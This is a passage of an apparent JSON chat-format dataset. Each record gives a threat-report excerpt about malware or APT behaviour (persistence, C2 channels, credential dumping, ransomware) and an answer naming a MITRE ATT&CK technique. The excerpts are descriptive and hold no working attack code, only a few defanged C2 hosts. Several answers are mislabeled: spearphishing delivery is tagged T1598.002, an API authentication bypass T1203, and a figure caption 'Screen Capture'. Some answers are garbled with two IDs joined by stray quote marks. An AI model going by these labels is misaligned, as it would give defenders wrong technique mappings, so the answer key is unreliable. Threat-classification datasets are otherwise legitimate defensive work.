                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dellLemb||&gt; deletes the registry key \\Software\\Microsoft\\Internet Explorer\\notes. EXECPROGAM calls ShellExecute to run the application given in the command. NOVOLEMBRETE creates and stores data sent with the command in the registry key \\Software\\Microsoft\\Internet Explorer\\notes"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used spearphishing with an attachment to deliver files with exploits to initial victims."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It runs the ipconfig command to gather information about the machine's network adapter configuration. It sends an HTTP POST request to the URL: hxxp://zeplin.atwebpages.com/inter.php and exfiltrates the ipconfig output gathered from the machine"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By default, Excel does not allow the download of data from the remote server, but will ask for the user’s consent by presenting the dialog box in Figure 2:  Figure 2 Excel security notice for .iqy files By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE creates a scheduled task to run itself every three minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has sent e-mails with malicious attachments that lead victims to credential harvesting websites."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We identified a MacOS backdoor (detected by Trend Micro as OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise creates a file in \"AppData\\Local\\Microsoft\\Windows\\Explorer\" and stores all harvested data in that file."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 collected system architecture information. APT19 used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors downloaded archives of collected data previously staged on a target's OWA server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp uses Perl scripts."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this section, we describe how the various payloads are delivered based on what we have seen in our customer networks, as well as what we have established through open-source research. Unit 42 has yet to see any evidence of weaponized documents used to deliver BackConfig being attached on phishing emails and that phishing URL links in emails appear to be the Hangover group’s modus operandi"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can use API hooks on `GetExtendedTcpTable` to retrieve a table containing a list of TCP endpoints available to the application."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete uses FTP for Command & Control."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used tools for capturing keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the network parameters are stored in the sample and can be easily updated by the author. The CnC is a web server: http://camilleoconnell[.]website The network communication is performed in HTTP. The malware uses an hardcoded User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) To register a new infected system the malware perform a POST request to /api/white_walkers/new with data on the compromised system consisting of"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster."
            },
            {
                "role": "assistant",
                "content": "T1609 - Kubernetes Exec Into Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: Screen capture of the downloader executed on OS X El Capitan"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used a PowerShell-based keylogger named `kl.ps1`."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to pack their tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has changed the time stamp of certain files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has attempted to use WMI event subscriptions to establish persistence on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke exploited Apache Struts, Oracle WebLogic (CVE-2017-10271), and Adobe ColdFusion (CVE-2017-3066) vulnerabilities to deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan will save the output of the command to %TEMP%\\win<random number>.txt and send the contents to the C2 server or “The length of Cmd result file is ziro!” if the command was unsuccessful"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents. Both also use decoy documents to make the RTLO attack more convincing. Another similarity is the use of a small loader component to load encrypted backdoors into memory"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has used HTTP for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once we deobfuscated it, we found that the script contained a large array of hard coded domain names, with one of them being randomly selected and used for subsequent DNS queries. It is important to note that while the Powershell scripts for stages 3 and 4 contain two arrays of domains, the first array is only used if a failure condition is reached while the sample is using the second array. Figure 8: Stage 3 Domain List The 'logic' function present within this Powershell script randomly selects a C2 domain from the second array in the script and uses this domain to perform an initial lookup. If the result of the initial DNS TXT record request is empty or in the case the lookup fails, the 'do_lookup' function is then called and randomly selects a domain from the first array in the script. Interestingly, the domains used by the 'do_lookup' function did not appear to have active 'www' or 'mail' TXT records. The script also uses specific subdomains which are combined with the domains and used for the initial DNS TXT record queries performed by the malware. The malware uses the contents of the TXT record in the response to these queries to determine what action to take next. For instance, the first subdomain is 'www' and a query response with a TXT record containing 'www' will instruct the script to proceed. The response to this DNS request results in the transmission of the fourth stage malware, stored within the TXT record as displayed in Figures 10 and 11. Due to the size of the Stage 4 payload, DNS makes use of TCP for this transaction"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals is written and executed via PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to inspect system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can exfiltrate data via a DNS tunnel or email, separately from its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors used a variety of packers and droppers to decrypt malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "h) It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Emissary Trojan will use this GUID value provided by the C2 server as an encryption key that it will use to encrypt data sent in subsequent network communications"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to retrieve files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the threat actors shut down VMs, terminate all related processes, and encrypt Vmware-related files (.log, .vmdk, .vmem, .vswp and .vmsn)."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can capture images from webcams on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used ports 53, 80, 443, and 8080 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has discovered removable disks attached to a system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All observed attacks start with an email message, containing either a malicious attachment or a URL which leads to the first stage of the attack. The text of the emails is likely taken from legitimate email, such as mailing lists that targeted organisations may be subscribed to. Below are three examples, with the first one purporting to be sent by the European Banking Federation and is using a newly registered domain for the spoofed sender email address. The attachment is a malicious PDF file that entices the user to click on a URL to download and open a weaponized RTF file containing exploits for CVE-2017-11882, CVE-2017-8570 and CVE-2018-8174. This campaign contains a URL, which points to a malicious Word document where the infection chain is triggered by the user allowing the VBA macro code to run. Observed email campaign 2 The third campaign, sent on July 10, is a more personal campaign that targets a variety of businesses. The subject indicates that this is a complaint about problems with services provided by the target company, allegedly listed in an attached document. The attachment is an RTF document containing exploits that start the chain of several infection stages until the final executable payload is downloaded and loaded in the memory of the infected system. All emails lead to stage 1 of the attack chain. Observed email campaign 3"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, and Eudora."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use RC4 to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used malware to set \"LoadAppInit_DLLs\" in the Registry key \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor contain narrow capabilities: download and upload files, run commands and send the attackers the results. However short the list, they allow the attackers to upload and execute additional tools for further reconnaissance and lateral movement"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has added persistence by registering the file name for the next stage malware under \"HKCU\\Environment\\UserInitMprLogonScript\"."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can remotely activate the victim’s webcam to capture content."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides access to the Windows Registry, which can be used to gather information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUPERNOVA was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RARW Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can monitor processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has operated from leased virtual private servers (VPS) in the United States."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Socksbot can list all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempts to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow', 'T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of executing commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this"
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot may use \"netstat -ano\" to display active network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike will timestomp any files or payloads placed on a target machine to help them blend in."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has encrypted files and demanded Bitcoin to decrypt those files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The DNS resolution is performed using DNS over HTTPS (DoH). The malware sends an HTTP POST request to a Google DNS Server (8.8.8.8) using the following headers"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used administrative accounts, including Domain Admin, to move laterally within a victim network."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Mimikatz credential dumper contains an implementation of an SSP."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has used a script to detect installed software on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
